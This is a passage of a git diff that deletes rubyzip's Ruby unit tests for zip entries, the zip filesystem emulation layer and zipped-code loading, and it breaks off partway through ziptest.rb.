test_starts_with - assert("hello".starts_with("")) - assert("hello".starts_with("h")) - assert("hello".starts_with("he")) - assert(! "hello".starts_with("hello there")) - assert(! "hello".starts_with(" he")) - - assert_raise(TypeError, "type mismatch: NilClass given") { - "hello".starts_with(nil) - } - end - - def test_ends_with - assert("hello".ends_with("o")) - assert("hello".ends_with("lo")) - assert("hello".ends_with("hello")) - assert(!"howdy".ends_with("o")) - assert(!"howdy".ends_with("oy")) - assert(!"howdy".ends_with("howdy doody")) - assert(!"howdy".ends_with("doody howdy")) - end - - def test_ensure_end - assert_equal("hello!", "hello!".ensure_end("!")) - assert_equal("hello!", "hello!".ensure_end("o!")) - assert_equal("hello!", "hello".ensure_end("!")) - assert_equal("hello!", "hel".ensure_end("lo!")) - end -end - -# Copyright (C) 2002, 2003 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/test/zipfilesystemtest.rb b/lib/zip/test/zipfilesystemtest.rb deleted file mode 100755 index f74e804696..0000000000 --- a/lib/zip/test/zipfilesystemtest.rb +++ /dev/null @@ -1,845 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -$: << "../lib" - -require 'zip/zipfilesystem' -require 'test/unit' -require 'fileutils' - -module ExtraAssertions - - def assert_forwarded(anObject, method, retVal, *expectedArgs) - callArgs = nil - setCallArgsProc = proc { |args| callArgs = args } - anObject.instance_eval <<-"end_eval" - alias #{method}_org #{method} - def #{method}(*args) - ObjectSpace._id2ref(#{setCallArgsProc.object_id}).call(args) - ObjectSpace._id2ref(#{retVal.object_id}) - end - end_eval - - assert_equal(retVal, yield) # Invoke test - assert_equal(expectedArgs, callArgs) - ensure - anObject.instance_eval "undef #{method}; alias #{method} #{method}_org" - end - -end - -include Zip - -class ZipFsFileNonmutatingTest < Test::Unit::TestCase - def setup - @zipFile = ZipFile.new("data/zipWithDirs.zip") - end - - def teardown - @zipFile.close if @zipFile - end - - def test_umask - assert_equal(File.umask, @zipFile.file.umask) - @zipFile.file.umask(0006) - end - - def test_exists? - assert(! @zipFile.file.exists?("notAFile")) - assert(@zipFile.file.exists?("file1")) - assert(@zipFile.file.exists?("dir1")) - assert(@zipFile.file.exists?("dir1/")) - assert(@zipFile.file.exists?("dir1/file12")) - assert(@zipFile.file.exist?("dir1/file12")) # notice, tests exist? alias of exists? ! - - @zipFile.dir.chdir "dir1/" - assert(!@zipFile.file.exists?("file1")) - assert(@zipFile.file.exists?("file12")) - end - - def test_open_read - blockCalled = false - @zipFile.file.open("file1", "r") { - |f| - blockCalled = true - assert_equal("this is the entry 'file1' in my test archive!", - f.readline.chomp) - } - assert(blockCalled) - - blockCalled = false - @zipFile.file.open("file1", "rb") { # test binary flag is ignored - |f| - blockCalled = true - assert_equal("this is the entry 'file1' in my test archive!", - f.readline.chomp) - } - assert(blockCalled) - - blockCalled = false - @zipFile.dir.chdir "dir2" - @zipFile.file.open("file21", "r") { - |f| - blockCalled = true - assert_equal("this is the entry 'dir2/file21' in my test archive!", - f.readline.chomp) - } - assert(blockCalled) - @zipFile.dir.chdir "/" - - assert_raise(Errno::ENOENT) { - @zipFile.file.open("noSuchEntry") - } - - begin - is = @zipFile.file.open("file1") - assert_equal("this is the entry 'file1' in my test archive!", - is.readline.chomp) - ensure - is.close if is - end - end - - def test_new - begin - is = @zipFile.file.new("file1") - assert_equal("this is the entry 'file1' in my test archive!", - is.readline.chomp) - ensure - is.close if is - end - begin - is = @zipFile.file.new("file1") { - fail "should not call block" - } - ensure - is.close if is - end - end - - def test_symlink - assert_raise(NotImplementedError) { - @zipFile.file.symlink("file1", "aSymlink") - } - end - - def test_size - assert_raise(Errno::ENOENT) { @zipFile.file.size("notAFile") } - assert_equal(72, @zipFile.file.size("file1")) - assert_equal(0, @zipFile.file.size("dir2/dir21")) - - assert_equal(72, @zipFile.file.stat("file1").size) - assert_equal(0, @zipFile.file.stat("dir2/dir21").size) - end - - def test_size? - assert_equal(nil, @zipFile.file.size?("notAFile")) - assert_equal(72, @zipFile.file.size?("file1")) - assert_equal(nil, @zipFile.file.size?("dir2/dir21")) - - assert_equal(72, @zipFile.file.stat("file1").size?) - assert_equal(nil, @zipFile.file.stat("dir2/dir21").size?) - end - - - def test_file? - assert(@zipFile.file.file?("file1")) - assert(@zipFile.file.file?("dir2/file21")) - assert(! @zipFile.file.file?("dir1")) - assert(! @zipFile.file.file?("dir1/dir11")) - - assert(@zipFile.file.stat("file1").file?) - assert(@zipFile.file.stat("dir2/file21").file?) - assert(! @zipFile.file.stat("dir1").file?) - assert(! @zipFile.file.stat("dir1/dir11").file?) - end - - include ExtraAssertions - - def test_dirname - assert_forwarded(File, :dirname, "retVal", "a/b/c/d") { - @zipFile.file.dirname("a/b/c/d") - } - end - - def test_basename - assert_forwarded(File, :basename, "retVal", "a/b/c/d") { - @zipFile.file.basename("a/b/c/d") - } - end - - def test_split - assert_forwarded(File, :split, "retVal", "a/b/c/d") { - @zipFile.file.split("a/b/c/d") - } - end - - def test_join - assert_equal("a/b/c", @zipFile.file.join("a/b", "c")) - assert_equal("a/b/c/d", @zipFile.file.join("a/b", "c/d")) - assert_equal("/c/d", @zipFile.file.join("", "c/d")) - assert_equal("a/b/c/d", @zipFile.file.join("a", "b", "c", "d")) - end - - def test_utime - t_now = Time.now - t_bak = @zipFile.file.mtime("file1") - @zipFile.file.utime(t_now, "file1") - assert_equal(t_now, @zipFile.file.mtime("file1")) - @zipFile.file.utime(t_bak, "file1") - assert_equal(t_bak, @zipFile.file.mtime("file1")) - end - - - def assert_always_false(operation) - assert(! @zipFile.file.send(operation, "noSuchFile")) - assert(! @zipFile.file.send(operation, "file1")) - assert(! @zipFile.file.send(operation, "dir1")) - assert(! @zipFile.file.stat("file1").send(operation)) - assert(! @zipFile.file.stat("dir1").send(operation)) - end - - def assert_true_if_entry_exists(operation) - assert(! @zipFile.file.send(operation, "noSuchFile")) - assert(@zipFile.file.send(operation, "file1")) - assert(@zipFile.file.send(operation, "dir1")) - assert(@zipFile.file.stat("file1").send(operation)) - assert(@zipFile.file.stat("dir1").send(operation)) - end - - def test_pipe? - assert_always_false(:pipe?) - end - - def test_blockdev? - assert_always_false(:blockdev?) - end - - def test_symlink? - assert_always_false(:symlink?) - end - - def test_socket? - assert_always_false(:socket?) - end - - def test_chardev? - assert_always_false(:chardev?) - end - - def test_truncate - assert_raise(StandardError, "truncate not supported") { - @zipFile.file.truncate("file1", 100) - } - end - - def assert_e_n_o_e_n_t(operation, args = ["NoSuchFile"]) - assert_raise(Errno::ENOENT) { - @zipFile.file.send(operation, *args) - } - end - - def test_ftype - assert_e_n_o_e_n_t(:ftype) - assert_equal("file", @zipFile.file.ftype("file1")) - assert_equal("directory", @zipFile.file.ftype("dir1/dir11")) - assert_equal("directory", @zipFile.file.ftype("dir1/dir11/")) - end - - def test_link - assert_raise(NotImplementedError) { - @zipFile.file.link("file1", "someOtherString") - } - end - - def test_directory? - assert(! @zipFile.file.directory?("notAFile")) - assert(! @zipFile.file.directory?("file1")) - assert(! @zipFile.file.directory?("dir1/file11")) - assert(@zipFile.file.directory?("dir1")) - assert(@zipFile.file.directory?("dir1/")) - assert(@zipFile.file.directory?("dir2/dir21")) - - assert(! @zipFile.file.stat("file1").directory?) - assert(! @zipFile.file.stat("dir1/file11").directory?) - assert(@zipFile.file.stat("dir1").directory?) - assert(@zipFile.file.stat("dir1/").directory?) - assert(@zipFile.file.stat("dir2/dir21").directory?) - end - - def test_chown - assert_equal(2, @zipFile.file.chown(1,2, "dir1", "file1")) - assert_equal(1, @zipFile.file.stat("dir1").uid) - assert_equal(2, @zipFile.file.stat("dir1").gid) - assert_equal(2, @zipFile.file.chown(nil, nil, "dir1", "file1")) - end - - def test_zero? - assert(! @zipFile.file.zero?("notAFile")) - assert(! @zipFile.file.zero?("file1")) - assert(@zipFile.file.zero?("dir1")) - blockCalled = false - ZipFile.open("data/generated/5entry.zip") { - |zf| - blockCalled = true - assert(zf.file.zero?("data/generated/empty.txt")) - } - assert(blockCalled) - - assert(! @zipFile.file.stat("file1").zero?) - assert(@zipFile.file.stat("dir1").zero?) - blockCalled = false - ZipFile.open("data/generated/5entry.zip") { - |zf| - blockCalled = true - assert(zf.file.stat("data/generated/empty.txt").zero?) - } - assert(blockCalled) - end - - def test_expand_path - ZipFile.open("data/zipWithDirs.zip") { - |zf| - assert_equal("/", zf.file.expand_path(".")) - zf.dir.chdir "dir1" - assert_equal("/dir1", zf.file.expand_path(".")) - assert_equal("/dir1/file12", zf.file.expand_path("file12")) - assert_equal("/", zf.file.expand_path("..")) - assert_equal("/dir2/dir21", zf.file.expand_path("../dir2/dir21")) - } - end - - def test_mtime - assert_equal(Time.at(1027694306), - @zipFile.file.mtime("dir2/file21")) - assert_equal(Time.at(1027690863), - @zipFile.file.mtime("dir2/dir21")) - assert_raise(Errno::ENOENT) { - @zipFile.file.mtime("noSuchEntry") - } - - assert_equal(Time.at(1027694306), - @zipFile.file.stat("dir2/file21").mtime) - assert_equal(Time.at(1027690863), - @zipFile.file.stat("dir2/dir21").mtime) - end - - def test_ctime - assert_nil(@zipFile.file.ctime("file1")) - assert_nil(@zipFile.file.stat("file1").ctime) - end - - def test_atime - assert_nil(@zipFile.file.atime("file1")) - assert_nil(@zipFile.file.stat("file1").atime) - end - - def test_readable? - assert(! @zipFile.file.readable?("noSuchFile")) - assert(@zipFile.file.readable?("file1")) - assert(@zipFile.file.readable?("dir1")) - assert(@zipFile.file.stat("file1").readable?) - assert(@zipFile.file.stat("dir1").readable?) - end - - def test_readable_real? - assert(! @zipFile.file.readable_real?("noSuchFile")) - assert(@zipFile.file.readable_real?("file1")) - assert(@zipFile.file.readable_real?("dir1")) - assert(@zipFile.file.stat("file1").readable_real?) - assert(@zipFile.file.stat("dir1").readable_real?) - end - - def test_writable? - assert(! @zipFile.file.writable?("noSuchFile")) - assert(@zipFile.file.writable?("file1")) - assert(@zipFile.file.writable?("dir1")) - assert(@zipFile.file.stat("file1").writable?) - assert(@zipFile.file.stat("dir1").writable?) - end - - def test_writable_real? - assert(! @zipFile.file.writable_real?("noSuchFile")) - assert(@zipFile.file.writable_real?("file1")) - assert(@zipFile.file.writable_real?("dir1")) - assert(@zipFile.file.stat("file1").writable_real?) - assert(@zipFile.file.stat("dir1").writable_real?) - end - - def test_executable? - assert(! @zipFile.file.executable?("noSuchFile")) - assert(! @zipFile.file.executable?("file1")) - assert(@zipFile.file.executable?("dir1")) - assert(! @zipFile.file.stat("file1").executable?) - assert(@zipFile.file.stat("dir1").executable?) - end - - def test_executable_real? - assert(! @zipFile.file.executable_real?("noSuchFile")) - assert(! @zipFile.file.executable_real?("file1")) - assert(@zipFile.file.executable_real?("dir1")) - assert(! @zipFile.file.stat("file1").executable_real?) - assert(@zipFile.file.stat("dir1").executable_real?) - end - - def test_owned? - assert_true_if_entry_exists(:owned?) - end - - def test_grpowned? - assert_true_if_entry_exists(:grpowned?) - end - - def test_setgid? - assert_always_false(:setgid?) - end - - def test_setuid? - assert_always_false(:setgid?) - end - - def test_sticky? - assert_always_false(:sticky?) - end - - def test_readlink - assert_raise(NotImplementedError) { - @zipFile.file.readlink("someString") - } - end - - def test_stat - s = @zipFile.file.stat("file1") - assert(s.kind_of?(File::Stat)) # It pretends - assert_raise(Errno::ENOENT, "No such file or directory - noSuchFile") { - @zipFile.file.stat("noSuchFile") - } - end - - def test_lstat - assert(@zipFile.file.lstat("file1").file?) - end - - - def test_chmod - assert_raise(Errno::ENOENT, "No such file or directory - noSuchFile") { - @zipFile.file.chmod(0644, "file1", "NoSuchFile") - } - assert_equal(2, @zipFile.file.chmod(0644, "file1", "dir1")) - end - - def test_pipe - assert_raise(NotImplementedError) { - @zipFile.file.pipe - } - end - - def test_foreach - ZipFile.open("data/generated/zipWithDir.zip") { - |zf| - ref = [] - File.foreach("data/file1.txt") { |e| ref << e } - - index = 0 - zf.file.foreach("data/file1.txt") { - |l| - assert_equal(ref[index], l) - index = index.next - } - assert_equal(ref.size, index) - } - - ZipFile.open("data/generated/zipWithDir.zip") { - |zf| - ref = [] - File.foreach("data/file1.txt", " ") { |e| ref << e } - - index = 0 - zf.file.foreach("data/file1.txt", " ") { - |l| - assert_equal(ref[index], l) - index = index.next - } - assert_equal(ref.size, index) - } - end - - def test_popen - if RUBY_PLATFORM =~ /mswin|mingw/i - cmd = 'dir' - else - cmd = 'ls' - end - - assert_equal(File.popen(cmd) { |f| f.read }, - @zipFile.file.popen(cmd) { |f| f.read }) - end - -# Can be added later -# def test_select -# fail "implement test" -# end - - def test_readlines - ZipFile.open("data/generated/zipWithDir.zip") { - |zf| - assert_equal(File.readlines("data/file1.txt"), - zf.file.readlines("data/file1.txt")) - } - end - - def test_read - ZipFile.open("data/generated/zipWithDir.zip") { - |zf| - assert_equal(File.read("data/file1.txt"), - zf.file.read("data/file1.txt")) - } - end - -end - -class ZipFsFileStatTest < Test::Unit::TestCase - - def setup - @zipFile = ZipFile.new("data/zipWithDirs.zip") - end - - def teardown - @zipFile.close if @zipFile - end - - def test_blocks - assert_equal(nil, @zipFile.file.stat("file1").blocks) - end - - def test_ino - assert_equal(0, @zipFile.file.stat("file1").ino) - end - - def test_uid - assert_equal(0, @zipFile.file.stat("file1").uid) - end - - def test_gid - assert_equal(0, @zipFile.file.stat("file1").gid) - end - - def test_ftype - assert_equal("file", @zipFile.file.stat("file1").ftype) - assert_equal("directory", @zipFile.file.stat("dir1").ftype) - end - - def test_mode - assert_equal(0600, @zipFile.file.stat("file1").mode & 0777) - assert_equal(0600, @zipFile.file.stat("file1").mode & 0777) - assert_equal(0755, @zipFile.file.stat("dir1").mode & 0777) - assert_equal(0755, @zipFile.file.stat("dir1").mode & 0777) - end - - def test_dev - assert_equal(0, @zipFile.file.stat("file1").dev) - end - - def test_rdev - assert_equal(0, @zipFile.file.stat("file1").rdev) - end - - def test_rdev_major - assert_equal(0, @zipFile.file.stat("file1").rdev_major) - end - - def test_rdev_minor - assert_equal(0, @zipFile.file.stat("file1").rdev_minor) - end - - def test_nlink - assert_equal(1, @zipFile.file.stat("file1").nlink) - end - - def test_blksize - assert_nil(@zipFile.file.stat("file1").blksize) - end - -end - -class ZipFsFileMutatingTest < Test::Unit::TestCase - TEST_ZIP = "zipWithDirs_copy.zip" - def setup - FileUtils.cp("data/zipWithDirs.zip", TEST_ZIP) - end - - def teardown - end - - def test_delete - do_test_delete_or_unlink(:delete) - end - - def test_unlink - do_test_delete_or_unlink(:unlink) - end - - def test_open_write - ZipFile.open(TEST_ZIP) { - |zf| - - zf.file.open("test_open_write_entry", "w") { - |f| - blockCalled = true - f.write "This is what I'm writing" - } - assert_equal("This is what I'm writing", - zf.file.read("test_open_write_entry")) - - # Test with existing entry - zf.file.open("file1", "wb") { #also check that 'b' option is ignored - |f| - blockCalled = true - f.write "This is what I'm writing too" - } - assert_equal("This is what I'm writing too", - zf.file.read("file1")) - } - end - - def test_rename - ZipFile.open(TEST_ZIP) { - |zf| - assert_raise(Errno::ENOENT, "") { - zf.file.rename("NoSuchFile", "bimse") - } - zf.file.rename("file1", "newNameForFile1") - } - - ZipFile.open(TEST_ZIP) { - |zf| - assert(! zf.file.exists?("file1")) - assert(zf.file.exists?("newNameForFile1")) - } - end - - def do_test_delete_or_unlink(symbol) - ZipFile.open(TEST_ZIP) { - |zf| - assert(zf.file.exists?("dir2/dir21/dir221/file2221")) - zf.file.send(symbol, "dir2/dir21/dir221/file2221") - assert(! zf.file.exists?("dir2/dir21/dir221/file2221")) - - assert(zf.file.exists?("dir1/file11")) - assert(zf.file.exists?("dir1/file12")) - zf.file.send(symbol, "dir1/file11", "dir1/file12") - assert(! zf.file.exists?("dir1/file11")) - assert(! zf.file.exists?("dir1/file12")) - - assert_raise(Errno::ENOENT) { zf.file.send(symbol, "noSuchFile") } - assert_raise(Errno::EISDIR) { zf.file.send(symbol, "dir1/dir11") } - assert_raise(Errno::EISDIR) { zf.file.send(symbol, "dir1/dir11/") } - } - - ZipFile.open(TEST_ZIP) { - |zf| - assert(! zf.file.exists?("dir2/dir21/dir221/file2221")) - assert(! zf.file.exists?("dir1/file11")) - assert(! zf.file.exists?("dir1/file12")) - - assert(zf.file.exists?("dir1/dir11")) - assert(zf.file.exists?("dir1/dir11/")) - } - end - -end - -class ZipFsDirectoryTest < Test::Unit::TestCase - TEST_ZIP = "zipWithDirs_copy.zip" - - def setup - FileUtils.cp("data/zipWithDirs.zip", TEST_ZIP) - end - - def test_delete - ZipFile.open(TEST_ZIP) { - |zf| - assert_raise(Errno::ENOENT, "No such file or directory - NoSuchFile.txt") { - zf.dir.delete("NoSuchFile.txt") - } - assert_raise(Errno::EINVAL, "Invalid argument - file1") { - zf.dir.delete("file1") - } - assert(zf.file.exists?("dir1")) - zf.dir.delete("dir1") - assert(! zf.file.exists?("dir1")) - } - end - - def test_mkdir - ZipFile.open(TEST_ZIP) { - |zf| - assert_raise(Errno::EEXIST, "File exists - dir1") { - zf.dir.mkdir("file1") - } - assert_raise(Errno::EEXIST, "File exists - dir1") { - zf.dir.mkdir("dir1") - } - assert(!zf.file.exists?("newDir")) - zf.dir.mkdir("newDir") - assert(zf.file.directory?("newDir")) - assert(!zf.file.exists?("newDir2")) - zf.dir.mkdir("newDir2", 3485) - assert(zf.file.directory?("newDir2")) - } - end - - def test_pwd_chdir_entries - ZipFile.open(TEST_ZIP) { - |zf| - assert_equal("/", zf.dir.pwd) - - assert_raise(Errno::ENOENT, "No such file or directory - no such dir") { - zf.dir.chdir "no such dir" - } - - assert_raise(Errno::EINVAL, "Invalid argument - file1") { - zf.dir.chdir "file1" - } - - assert_equal(["dir1", "dir2", "file1"].sort, zf.dir.entries(".").sort) - zf.dir.chdir "dir1" - assert_equal("/dir1", zf.dir.pwd) - assert_equal(["dir11", "file11", "file12"], zf.dir.entries(".").sort) - - zf.dir.chdir "../dir2/dir21" - assert_equal("/dir2/dir21", zf.dir.pwd) - assert_equal(["dir221"].sort, zf.dir.entries(".").sort) - } - end - - def test_foreach - ZipFile.open(TEST_ZIP) { - |zf| - - blockCalled = false - assert_raise(Errno::ENOENT, "No such file or directory - noSuchDir") { - zf.dir.foreach("noSuchDir") { |e| blockCalled = true } - } - assert(! blockCalled) - - assert_raise(Errno::ENOTDIR, "Not a directory - file1") { - zf.dir.foreach("file1") { |e| blockCalled = true } - } - assert(! blockCalled) - - entries = [] - zf.dir.foreach(".") { |e| entries << e } - assert_equal(["dir1", "dir2", "file1"].sort, entries.sort) - - entries = [] - zf.dir.foreach("dir1") { |e| entries << e } - assert_equal(["dir11", "file11", "file12"], entries.sort) - } - end - - def test_chroot - ZipFile.open(TEST_ZIP) { - |zf| - assert_raise(NotImplementedError) { - zf.dir.chroot - } - } - end - - # Globbing not supported yet - #def test_glob - # # test alias []-operator too - # fail "implement test" - #end - - def test_open_new - ZipFile.open(TEST_ZIP) { - |zf| - - assert_raise(Errno::ENOTDIR, "Not a directory - file1") { - zf.dir.new("file1") - } - - assert_raise(Errno::ENOENT, "No such file or directory - noSuchFile") { - zf.dir.new("noSuchFile") - } - - d = zf.dir.new(".") - assert_equal(["file1", "dir1", "dir2"].sort, d.entries.sort) - d.close - - zf.dir.open("dir1") { - |dir| - assert_equal(["dir11", "file11", "file12"].sort, dir.entries.sort) - } - } - end - -end - -class ZipFsDirIteratorTest < Test::Unit::TestCase - - FILENAME_ARRAY = [ "f1", "f2", "f3", "f4", "f5", "f6" ] - - def setup - @dirIt = ZipFileSystem::ZipFsDirIterator.new(FILENAME_ARRAY) - end - - def test_close - @dirIt.close - assert_raise(IOError, "closed directory") { - @dirIt.each { |e| p e } - } - assert_raise(IOError, "closed directory") { - @dirIt.read - } - assert_raise(IOError, "closed directory") { - @dirIt.rewind - } - assert_raise(IOError, "closed directory") { - @dirIt.seek(0) - } - assert_raise(IOError, "closed directory") { - @dirIt.tell - } - - end - - def test_each - # Tested through Enumerable.entries - assert_equal(FILENAME_ARRAY, @dirIt.entries) - end - - def test_read - FILENAME_ARRAY.size.times { - |i| - assert_equal(FILENAME_ARRAY[i], @dirIt.read) - } - end - - def test_rewind - @dirIt.read - @dirIt.read - assert_equal(FILENAME_ARRAY[2], @dirIt.read) - @dirIt.rewind - assert_equal(FILENAME_ARRAY[0], @dirIt.read) - end - - def test_tell_seek - @dirIt.read - @dirIt.read - pos = @dirIt.tell - valAtPos = @dirIt.read - @dirIt.read - @dirIt.seek(pos) - assert_equal(valAtPos, @dirIt.read) - end - -end - - -# Copyright (C) 2002, 2003 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/test/ziprequiretest.rb b/lib/zip/test/ziprequiretest.rb deleted file mode 100755 index 68d2c714ed..0000000000 --- a/lib/zip/test/ziprequiretest.rb +++ /dev/null @@ -1,43 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -$: << "../lib" - -require 'test/unit' -require 'zip/ziprequire' - -$: << 'data/rubycode.zip' << 'data/rubycode2.zip' - -class ZipRequireTest < Test::Unit::TestCase - def test_require - assert(require('data/notzippedruby')) - assert(!require('data/notzippedruby')) - - assert(require('zippedruby1')) - assert(!require('zippedruby1')) - - assert(require('zippedruby2')) - assert(!require('zippedruby2')) - - assert(require('zippedruby3')) - assert(!require('zippedruby3')) - - c1 = NotZippedRuby.new - assert(c1.returnTrue) - assert(ZippedRuby1.returnTrue) - assert(!ZippedRuby2.returnFalse) - assert_equal(4, ZippedRuby3.multiplyValues(2, 2)) - end - - def test_get_resource - get_resource("aResource.txt") { - |f| - assert_equal("Nothing exciting in this file!", f.read) - } - end -end - -# Copyright (C) 2002 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/test/ziptest.rb b/lib/zip/test/ziptest.rb deleted file mode 100755 index aa07ffe848..0000000000 --- a/lib/zip/test/ziptest.rb +++ /dev/null @@ -1,1623 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -$: << "../lib" - -require 'test/unit' -require 'fileutils' -require 'zip/zip' -require 'gentestfiles' - -include Zip - - -class ZipEntryTest < Test::Unit::TestCase - TEST_ZIPFILE = "someZipFile.zip" - TEST_COMMENT = "a comment" - TEST_COMPRESSED_SIZE = 1234 - TEST_CRC = 325324 - TEST_EXTRA = "Some data here" - TEST_COMPRESSIONMETHOD = ZipEntry::DEFLATED - TEST_NAME = "entry name" - TEST_SIZE = 8432 - TEST_ISDIRECTORY = false - - def test_constructorAndGetters - entry = ZipEntry.new(TEST_ZIPFILE, - TEST_NAME, - TEST_COMMENT, - TEST_EXTRA, - TEST_COMPRESSED_SIZE, - TEST_CRC, - TEST_COMPRESSIONMETHOD, - TEST_SIZE) - - assert_equal(TEST_COMMENT, entry.comment) - assert_equal(TEST_COMPRESSED_SIZE, entry.compressed_size) - assert_equal(TEST_CRC, entry.crc) - assert_instance_of(Zip::ZipExtraField, entry.extra) - assert_equal(TEST_COMPRESSIONMETHOD, entry.compression_method) - assert_equal(TEST_NAME, entry.name) - assert_equal(TEST_SIZE, entry.size) - assert_equal(TEST_ISDIRECTORY, entry.is_directory) - end - - def test_is_directoryAndIsFile - assert(ZipEntry.new(TEST_ZIPFILE, "hello").file?) - assert(! ZipEntry.new(TEST_ZIPFILE, "hello").directory?) - - assert(ZipEntry.new(TEST_ZIPFILE, "dir/hello").file?) - assert(! ZipEntry.new(TEST_ZIPFILE, "dir/hello").directory?) - - assert(ZipEntry.new(TEST_ZIPFILE, "hello/").directory?) - assert(! ZipEntry.new(TEST_ZIPFILE, "hello/").file?) - - assert(ZipEntry.new(TEST_ZIPFILE, "dir/hello/").directory?) - assert(! ZipEntry.new(TEST_ZIPFILE, "dir/hello/").file?) - end - - def test_equality - entry1 = ZipEntry.new("file.zip", "name", "isNotCompared", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry2 = ZipEntry.new("file.zip", "name", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 1234, - ZipEntry::DEFLATED, 10000) - entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::DEFLATED, 10000) - entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 10000) - entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 100000) - - assert_equal(entry1, entry1) - assert_equal(entry1, entry2) - - assert(entry2 != entry3) - assert(entry3 != entry4) - assert(entry4 != entry5) - assert(entry5 != entry6) - assert(entry6 != entry7) - assert(entry7 != entry8) - - assert(entry7 != "hello") - assert(entry7 != 12) - end - - def test_compare - assert_equal(0, (ZipEntry.new("zf.zip", "a") <=> ZipEntry.new("zf.zip", "a"))) - assert_equal(1, (ZipEntry.new("zf.zip", "b") <=> ZipEntry.new("zf.zip", "a"))) - assert_equal(-1, (ZipEntry.new("zf.zip", "a") <=> ZipEntry.new("zf.zip", "b"))) - - entries = [ - ZipEntry.new("zf.zip", "5"), - ZipEntry.new("zf.zip", "1"), - ZipEntry.new("zf.zip", "3"), - ZipEntry.new("zf.zip", "4"), - ZipEntry.new("zf.zip", "0"), - ZipEntry.new("zf.zip", "2") - ] - - entries.sort! - assert_equal("0", entries[0].to_s) - assert_equal("1", entries[1].to_s) - assert_equal("2", entries[2].to_s) - assert_equal("3", entries[3].to_s) - assert_equal("4", entries[4].to_s) - assert_equal("5", entries[5].to_s) - end - - def test_parentAsString - entry1 = ZipEntry.new("zf.zip", "aa") - entry2 = ZipEntry.new("zf.zip", "aa/") - entry3 = ZipEntry.new("zf.zip", "aa/bb") - entry4 = ZipEntry.new("zf.zip", "aa/bb/") - entry5 = ZipEntry.new("zf.zip", "aa/bb/cc") - entry6 = ZipEntry.new("zf.zip", "aa/bb/cc/") - - assert_equal(nil, entry1.parent_as_string) - assert_equal(nil, entry2.parent_as_string) - assert_equal("aa/", entry3.parent_as_string) - assert_equal("aa/", entry4.parent_as_string) - assert_equal("aa/bb/", entry5.parent_as_string) - assert_equal("aa/bb/", entry6.parent_as_string) - end - - def test_entry_name_cannot_start_with_slash - assert_raise(ZipEntryNameError) { ZipEntry.new("zf.zip", "/hej/der") } - end -end - -module IOizeString - attr_reader :tell - - def read(count = nil) - @tell ||= 0 - count = size unless count - retVal = slice(@tell, count) - @tell += count - return retVal - end - - def seek(index, offset) - @tell ||= 0 - case offset - when IO::SEEK_END - newPos = size + index - when IO::SEEK_SET - newPos = index - when IO::SEEK_CUR - newPos = @tell + index - else - raise "Error in test method IOizeString::seek" - end - if (newPos < 0 || newPos >= size) - raise Errno::EINVAL - else - @tell=newPos - end - end - - def reset - @tell = 0 - end -end - -class ZipLocalEntryTest < Test::Unit::TestCase - def test_read_local_entryHeaderOfFirstTestZipEntry - File.open(TestZipFile::TEST_ZIP3.zip_name, "rb") { - |file| - entry = ZipEntry.read_local_entry(file) - - assert_equal("", entry.comment) - # Differs from windows and unix because of CR LF - # assert_equal(480, entry.compressed_size) - # assert_equal(0x2a27930f, entry.crc) - # extra field is 21 bytes long - # probably contains some unix attrutes or something - # disabled: assert_equal(nil, entry.extra) - assert_equal(ZipEntry::DEFLATED, entry.compression_method) - assert_equal(TestZipFile::TEST_ZIP3.entry_names[0], entry.name) - assert_equal(File.size(TestZipFile::TEST_ZIP3.entry_names[0]), entry.size) - assert(! entry.is_directory) - } - end - - def test_readDateTime - File.open("data/rubycode.zip", "rb") { - |file| - entry = ZipEntry.read_local_entry(file) - assert_equal("zippedruby1.rb", entry.name) - assert_equal(Time.at(1019261638), entry.time) - } - end - - def test_read_local_entryFromNonZipFile - File.open("data/file2.txt") { - |file| - assert_equal(nil, ZipEntry.read_local_entry(file)) - } - end - - def test_read_local_entryFromTruncatedZipFile - zipFragment="" - File.open(TestZipFile::TEST_ZIP2.zip_name) { |f| zipFragment = f.read(12) } # local header is at least 30 bytes - zipFragment.extend(IOizeString).reset - entry = ZipEntry.new - entry.read_local_entry(zipFragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeEntry - entry = ZipEntry.new("file.zip", "entryName", "my little comment", - "thisIsSomeExtraInformation", 100, 987654, - ZipEntry::DEFLATED, 400) - write_to_file("localEntryHeader.bin", "centralEntryHeader.bin", entry) - entryReadLocal, entryReadCentral = read_from_file("localEntryHeader.bin", "centralEntryHeader.bin") - compare_local_entry_headers(entry, entryReadLocal) - compare_c_dir_entry_headers(entry, entryReadCentral) - end - - private - def compare_local_entry_headers(entry1, entry2) - assert_equal(entry1.compressed_size , entry2.compressed_size) - assert_equal(entry1.crc , entry2.crc) - assert_equal(entry1.extra , entry2.extra) - assert_equal(entry1.compression_method, entry2.compression_method) - assert_equal(entry1.name , entry2.name) - assert_equal(entry1.size , entry2.size) - assert_equal(entry1.localHeaderOffset, entry2.localHeaderOffset) - end - - def compare_c_dir_entry_headers(entry1, entry2) - compare_local_entry_headers(entry1, entry2) - assert_equal(entry1.comment, entry2.comment) - end - - def write_to_file(localFileName, centralFileName, entry) - File.open(localFileName, "wb") { |f| entry.write_local_entry(f) } - File.open(centralFileName, "wb") { |f| entry.write_c_dir_entry(f) } - end - - def read_from_file(localFileName, centralFileName) - localEntry = nil - cdirEntry = nil - File.open(localFileName, "rb") 